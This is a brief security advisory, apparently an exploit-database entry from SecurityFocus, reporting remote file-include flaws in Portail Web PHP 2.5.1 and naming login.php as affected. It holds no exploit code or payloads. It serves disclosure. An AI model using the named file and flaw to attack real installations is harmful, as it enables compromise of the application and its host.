Portail Web PHP 2.5.1 - 'login.php' Remote File Inclusion

source: https://www.securityfocus.com/bid/27616/info
   
Portail Web Php is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
These issues affect Portail Web Php 2.5.1.1; other versions may also be affected.
